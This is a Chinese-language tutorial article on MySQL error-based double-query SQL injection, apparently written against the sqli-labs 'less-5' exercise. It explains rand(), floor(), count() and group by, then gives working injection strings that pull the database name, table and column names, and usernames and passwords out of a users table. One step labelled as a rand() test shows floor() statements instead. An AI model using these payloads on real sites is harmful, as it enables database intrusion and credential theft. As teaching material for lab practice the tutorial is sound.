您好,登錄后才能下訂單哦!
這篇文章主要講解了“mysql get基于報(bào)錯(cuò)的盲注方法是什么”,文中的講解內(nèi)容簡單清晰,易于學(xué)習(xí)與理解,下面請(qǐng)大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“mysql get基于報(bào)錯(cuò)的盲注方法是什么”吧!
報(bào)錯(cuò)注入就是在注入過程中黑客根據(jù)錯(cuò)誤回顯進(jìn)行判斷。 形式上是兩個(gè)嵌套的查詢,即select...(select...),里面的select被稱為子查詢,他的執(zhí)行順序也是先執(zhí)行子查詢,然后再執(zhí)行行外面的select,雙注入主要涉及到一下sql函數(shù):
rand()隨機(jī)函數(shù),返回0~1之間的某個(gè)值 floor(a)取整函數(shù),返回小于等于a,且值最接近a的一個(gè)整數(shù) count()聚合函數(shù)也稱作計(jì)數(shù)函數(shù),返回查詢對(duì)象的總數(shù) group by clause分組語句,按照查詢結(jié)果分組 通過報(bào)錯(cuò)來顯示出具體的信息。
查詢的時(shí)候如果使用rand()的話,該值會(huì)被計(jì)算多次。在使用group by的時(shí)候,floor(rand(0)*2)會(huì)被執(zhí)行一次,如果虛表不存在記錄,插入虛表的時(shí)候會(huì)再被執(zhí)行一次。
首先使用報(bào)錯(cuò)注入:構(gòu)造語句
1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
顯示結(jié)果
為什么會(huì)出現(xiàn)這樣的情況,因?yàn)楫?dāng)在一個(gè)聚合函數(shù),比如count函數(shù)后面如果使用分組語句就會(huì)把查詢的一部分以錯(cuò)誤的形式顯示出來。
那么,對(duì)這個(gè)語句中的函數(shù)(也就是上面的4個(gè)函數(shù))進(jìn)一個(gè)一個(gè)學(xué)習(xí): 在本地連接數(shù)據(jù)庫,查詢測試一下concat()的用法。
輸入: select concat('qwe','abc');
看到將qwe和abc拼接在一起
然后測試一下rand()這個(gè)隨機(jī)函數(shù):
輸入語句:select floor(1.2343232);select floor(3.893);
一共輸入的三次,每次輸出的數(shù)都是隨機(jī),但是這些數(shù)都是大于0,小于1的數(shù)
然后測試一下floor()函數(shù)
輸入語句:select floor(1.2343232);select floor(3.893);
輸出的都是小于或者等于輸入的數(shù)
然后測試一下雙注入查詢的組合
輸入的語句:
select floor(rand()*2);
分析一下,從里往外走,
rand()*2
永遠(yuǎn)不可能等于2,不可能小于0;所以floor取整就是1,或者就是0
在深入一下,測試:
select concat((select database()),floor(rand()*2));
看到concat將數(shù)據(jù)庫和后面的取整,合并在一起了。 同理,在less-5的第一個(gè)報(bào)錯(cuò)語句
concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a
0x3a是:號(hào),所以就將他們拼接起來。
如果在后面加上from emails表的話,那么返回的結(jié)果就是security0和security1的集,總共有多少條呢,那就要看表里面有多少列信息。
下面,加上group by語句。
select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
as a就是將查詢的
concat((select database()), floor(rand()*2))
名字另取a;然后用group by a進(jìn)行分組。這樣相同的security0和security1分別分成一組,也就是兩組,也是兩種結(jié)果。
然后我們加上聚合函數(shù)count(*)
select count(*),concat((select database()), floor(rand(0)*2))as a from information_schema.tables group by a;
同理,less-5第一報(bào)錯(cuò):
參考教程
構(gòu)造語句:
1' union select 1,2,3 from (select count(*),concat((select concat(0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
頁面顯示:
構(gòu)造語句:
1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
構(gòu)造語句:
1' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x3a,0x3a) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a --+
構(gòu)造語句:
1' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
感謝各位的閱讀,以上就是“mysql get基于報(bào)錯(cuò)的盲注方法是什么”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對(duì)mysql get基于報(bào)錯(cuò)的盲注方法是什么這一問題有了更深刻的體會(huì),具體使用情況還需要大家實(shí)踐驗(yàn)證。這里是億速云,小編將為大家推送更多相關(guān)知識(shí)點(diǎn)的文章,歡迎關(guān)注!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。